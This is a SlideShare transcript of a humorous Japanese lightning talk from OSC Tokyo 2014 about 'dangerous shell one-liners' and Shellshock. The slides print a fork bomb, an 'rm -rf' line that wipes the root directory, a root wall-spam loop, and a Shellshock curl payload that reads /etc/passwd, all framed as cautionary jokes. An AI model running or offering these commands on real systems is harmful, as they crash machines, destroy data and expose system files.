SlideShare une entreprise Scribd logo
1  sur  34
第1回 
危険シェル芸勉強会 
USP友の会 
上田隆一
みなさん 
OSCお疲れさまでした 
2014/10/19 OSC Tokyo/Fall 2014 2
しかし 
本日はここからが本番です 
2014/10/19 OSC Tokyo/Fall 2014 3
第1回危険シェル芸勉強会 
を勝手に開催致します 
2014/10/19 OSC Tokyo/Fall 2014 4
危険シェル芸とは 
• マウスも使わず、ソースコードも残さず、 
GUIツールを立ち上げる間もなく、 
あらゆる破壊・迷惑・自滅行為を 
CLI端末へのコマンド入力一撃で終わらすこと。 
http://blog.ueda.asia/?page_id=3752 
2014/10/19 OSC Tokyo/Fall 2014 5
思い出す夏の危険シェル芸騒動 
大炎上65000PV 
togetterより 
首謀者1 
首謀者2 
2014/10/19 OSC Tokyo/Fall 2014 6
戦果(?) 
• 初日だけで見知らぬ方のマシン3台轟沈 
• その他自爆者多数 
• Docker上で試したらホストマシン沈黙の報告 
• 自分の本がサイト経由で1冊だけ売れた 
• フォロワーが1人減った 
2014/10/19 OSC Tokyo/Fall 2014 7
本日はこの中から 
特に危険なのを勉強 
ちゃんとマスターしましょう 
2014/10/19 OSC Tokyo/Fall 2014 8
ということでLet's try!!! 
2014/10/19 OSC Tokyo/Fall 2014 9
ひとつめ 
:(){: | : &};: 
2014/10/19 OSC Tokyo/Fall 2014 10
:(){: | : &};: 
• いわゆるフォーク爆弾 
• 関数「:」のプロセスがマシンに溢れて再起不能 
• Docker越しにホストを葬る殺傷力 
つまり一言で言うと・・・ 
2014/10/19 OSC Tokyo/Fall 2014 11
2014/10/19 OSC Tokyo/Fall 2014 12
ふたつめ 
• シェルスクリプトにて 
rm -rf temp /* テンポラリを削除*/ 
出典: @moguno さんより 
2014/10/19 OSC Tokyo/Fall 2014 13
rm -rf temp /* テンポラリを削除*/ 
• 消えるのはtempと/* 
• シェルスクリプトのコメントアウトは# 
覚えておきたいのは・・・ 
2014/10/19 OSC Tokyo/Fall 2014 14
2014/10/19 OSC Tokyo/Fall 2014 15
みっつめ 
# for x in `seq 1 10000`; 
do wall '我はroot。神だ' ; done 
出典: @ryoana14 さんより 
2014/10/19 OSC Tokyo/Fall 2014 16
# for x in `seq 1 10000`; 
do wall '我はroot。神だ' ; done 
• 誰も端末使えないぞ! 
• すごいポンポン言う! 
即ち・・・ 
2014/10/19 OSC Tokyo/Fall 2014 17
アーンド 
2014/10/19 OSC Tokyo/Fall 2014 18
2014/10/19 OSC Tokyo/Fall 2014 19
世界は危険に飢えている発言 
2014/10/19 OSC Tokyo/Fall 2014 20
そんなある日、 
一つのワンライナーが 
Twitterに出回る 
2014/10/19 OSC Tokyo/Fall 2014 21
$ env x='() { :;}; echo vulnerable' bash -c 
"echo this is a test" 
2014/10/19 OSC Tokyo/Fall 2014 22
2014/10/19 OSC Tokyo/Fall 2014 23
!? 
2014/10/19 OSC Tokyo/Fall 2014 24
$ curl -A '() { :; }; /bin/cat /etc/passwd | 
/usr/bin/tail -n 3' 
http://localhost/index.php 
2014/10/19 OSC Tokyo/Fall 2014 25
2014/10/19 OSC Tokyo/Fall 2014 26
あかんやろ 
2014/10/19 OSC Tokyo/Fall 2014 27
危険シェル芸で遊んでいたら 
シェルが危険だった 
2014/10/19 OSC Tokyo/Fall 2014 28
私の 
Shellshock後の世界 
2014/10/19 OSC Tokyo/Fall 2014 29
自著が危険書物扱い 
※フォローしておくと, 
bashを使ってますが 
コマンド・ファイル・パイプが 
主眼でbashどっぷりという 
わけでもない本デス 
2014/10/19 OSC Tokyo/Fall 2014 30
なぜか安否を確認される 
2014/10/19 OSC Tokyo/Fall 2014 31
なぜか原稿を依頼される(焼け太り) 
2014/10/19 OSC Tokyo/Fall 2014 32
結論 
• 危険シェル芸は危険 
• Shellshockは危険 
• 人生は危険 
• 安全な方が精神的・肉体的によい 
– 「世界は危険に飢えている」なんて言って 
ごめんなさいごめんなさいごめんなさい 
ごめんなさいごぬんなさい! 
2014/10/19 OSC Tokyo/Fall 2014 33
以上。 
2014/10/19 OSC Tokyo/Fall 2014 34

Contenu connexe

Plus de Ryuichi Ueda

2017年10月18日 シェル芸勉強会 meets バイオインフォマティクス vol.1 スライド
2017年10月18日 シェル芸勉強会 meets バイオインフォマティクス vol.1 スライド2017年10月18日 シェル芸勉強会 meets バイオインフォマティクス vol.1 スライド
2017年10月18日 シェル芸勉強会 meets バイオインフォマティクス vol.1 スライド
Ryuichi Ueda
 

Plus de Ryuichi Ueda (20)

シェル・ワンライナー160本ノック
シェル・ワンライナー160本ノックシェル・ワンライナー160本ノック
シェル・ワンライナー160本ノック
 
日本ロボット学会第139回ロボット工学セミナー
日本ロボット学会第139回ロボット工学セミナー日本ロボット学会第139回ロボット工学セミナー
日本ロボット学会第139回ロボット工学セミナー
 
シェル芸勉強会と会場の話
シェル芸勉強会と会場の話シェル芸勉強会と会場の話
シェル芸勉強会と会場の話
 
移動ロボットのナビゲーション
移動ロボットのナビゲーション移動ロボットのナビゲーション
移動ロボットのナビゲーション
 
PythonとJupyter Notebookを利用した教科書「詳解確率ロボティクス」の企画と執筆
PythonとJupyter Notebookを利用した教科書「詳解確率ロボティクス」の企画と執筆PythonとJupyter Notebookを利用した教科書「詳解確率ロボティクス」の企画と執筆
PythonとJupyter Notebookを利用した教科書「詳解確率ロボティクス」の企画と執筆
 
第45回シェル芸勉強会オープニングスライド
第45回シェル芸勉強会オープニングスライド第45回シェル芸勉強会オープニングスライド
第45回シェル芸勉強会オープニングスライド
 
bash(の変な使い方)update
bash(の変な使い方)updatebash(の変な使い方)update
bash(の変な使い方)update
 
第41回シェル芸勉強会 午後オープニング
第41回シェル芸勉強会 午後オープニング第41回シェル芸勉強会 午後オープニング
第41回シェル芸勉強会 午後オープニング
 
Searching Behavior of a Simple Manipulator only with Sense of Touch Generated...
Searching Behavior of a Simple Manipulator only with Sense of Touch Generated...Searching Behavior of a Simple Manipulator only with Sense of Touch Generated...
Searching Behavior of a Simple Manipulator only with Sense of Touch Generated...
 
20181113_子ども夢ロボット&トーク
20181113_子ども夢ロボット&トーク20181113_子ども夢ロボット&トーク
20181113_子ども夢ロボット&トーク
 
第37回シェル芸勉強会イントロ
第37回シェル芸勉強会イントロ第37回シェル芸勉強会イントロ
第37回シェル芸勉強会イントロ
 
シェル芸勉強会にみる、コミュニティを通じたIT学習
シェル芸勉強会にみる、コミュニティを通じたIT学習シェル芸勉強会にみる、コミュニティを通じたIT学習
シェル芸勉強会にみる、コミュニティを通じたIT学習
 
ROSチュートリアル ROBOMECH2018
ROSチュートリアル ROBOMECH2018ROSチュートリアル ROBOMECH2018
ROSチュートリアル ROBOMECH2018
 
poster of PFoE used in ICRA 2018
poster of PFoE used in ICRA 2018poster of PFoE used in ICRA 2018
poster of PFoE used in ICRA 2018
 
Robot frontier lesson3 2018
Robot frontier lesson3 2018Robot frontier lesson3 2018
Robot frontier lesson3 2018
 
Robot frontier lesson2 2018
Robot frontier lesson2 2018Robot frontier lesson2 2018
Robot frontier lesson2 2018
 
Robot frontier lesson1 2018
Robot frontier lesson1 2018Robot frontier lesson1 2018
Robot frontier lesson1 2018
 
第34回シェル芸勉強会
第34回シェル芸勉強会第34回シェル芸勉強会
第34回シェル芸勉強会
 
第32回信号処理シンポジウム「Raspberry PiとROSを 使ったロボットシステム」
第32回信号処理シンポジウム「Raspberry PiとROSを使ったロボットシステム」第32回信号処理シンポジウム「Raspberry PiとROSを使ったロボットシステム」
第32回信号処理シンポジウム「Raspberry PiとROSを 使ったロボットシステム」
 
2017年10月18日 シェル芸勉強会 meets バイオインフォマティクス vol.1 スライド
2017年10月18日 シェル芸勉強会 meets バイオインフォマティクス vol.1 スライド2017年10月18日 シェル芸勉強会 meets バイオインフォマティクス vol.1 スライド
2017年10月18日 シェル芸勉強会 meets バイオインフォマティクス vol.1 スライド
 

Dernier

Dernier (11)

論文紹介:Video-GroundingDINO: Towards Open-Vocabulary Spatio-Temporal Video Groun...
論文紹介:Video-GroundingDINO: Towards Open-Vocabulary Spatio-Temporal Video Groun...論文紹介:Video-GroundingDINO: Towards Open-Vocabulary Spatio-Temporal Video Groun...
論文紹介:Video-GroundingDINO: Towards Open-Vocabulary Spatio-Temporal Video Groun...
 
論文紹介: The Surprising Effectiveness of PPO in Cooperative Multi-Agent Games
論文紹介: The Surprising Effectiveness of PPO in Cooperative Multi-Agent Games論文紹介: The Surprising Effectiveness of PPO in Cooperative Multi-Agent Games
論文紹介: The Surprising Effectiveness of PPO in Cooperative Multi-Agent Games
 
LoRaWAN スマート距離検出デバイスDS20L日本語マニュアル
LoRaWAN スマート距離検出デバイスDS20L日本語マニュアルLoRaWAN スマート距離検出デバイスDS20L日本語マニュアル
LoRaWAN スマート距離検出デバイスDS20L日本語マニュアル
 
LoRaWANスマート距離検出センサー DS20L カタログ LiDARデバイス
LoRaWANスマート距離検出センサー  DS20L  カタログ  LiDARデバイスLoRaWANスマート距離検出センサー  DS20L  カタログ  LiDARデバイス
LoRaWANスマート距離検出センサー DS20L カタログ LiDARデバイス
 
Amazon SES を勉強してみる その32024/04/26の勉強会で発表されたものです。
Amazon SES を勉強してみる その32024/04/26の勉強会で発表されたものです。Amazon SES を勉強してみる その32024/04/26の勉強会で発表されたものです。
Amazon SES を勉強してみる その32024/04/26の勉強会で発表されたものです。
 
業務で生成AIを活用したい人のための生成AI入門講座(社外公開版:キンドリルジャパン社内勉強会:2024年4月発表)
業務で生成AIを活用したい人のための生成AI入門講座(社外公開版:キンドリルジャパン社内勉強会:2024年4月発表)業務で生成AIを活用したい人のための生成AI入門講座(社外公開版:キンドリルジャパン社内勉強会:2024年4月発表)
業務で生成AIを活用したい人のための生成AI入門講座(社外公開版:キンドリルジャパン社内勉強会:2024年4月発表)
 
NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)
NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)
NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)
 
論文紹介:Selective Structured State-Spaces for Long-Form Video Understanding
論文紹介:Selective Structured State-Spaces for Long-Form Video Understanding論文紹介:Selective Structured State-Spaces for Long-Form Video Understanding
論文紹介:Selective Structured State-Spaces for Long-Form Video Understanding
 
Amazon SES を勉強してみる その22024/04/26の勉強会で発表されたものです。
Amazon SES を勉強してみる その22024/04/26の勉強会で発表されたものです。Amazon SES を勉強してみる その22024/04/26の勉強会で発表されたものです。
Amazon SES を勉強してみる その22024/04/26の勉強会で発表されたものです。
 
新人研修 後半 2024/04/26の勉強会で発表されたものです。
新人研修 後半        2024/04/26の勉強会で発表されたものです。新人研修 後半        2024/04/26の勉強会で発表されたものです。
新人研修 後半 2024/04/26の勉強会で発表されたものです。
 
Observabilityは従来型の監視と何が違うのか(キンドリルジャパン社内勉強会:2022年10月27日発表)
Observabilityは従来型の監視と何が違うのか(キンドリルジャパン社内勉強会:2022年10月27日発表)Observabilityは従来型の監視と何が違うのか(キンドリルジャパン社内勉強会:2022年10月27日発表)
Observabilityは従来型の監視と何が違うのか(キンドリルジャパン社内勉強会:2022年10月27日発表)
 

20141019 OSC Tokyo/Fall LT 【危険シェル芸】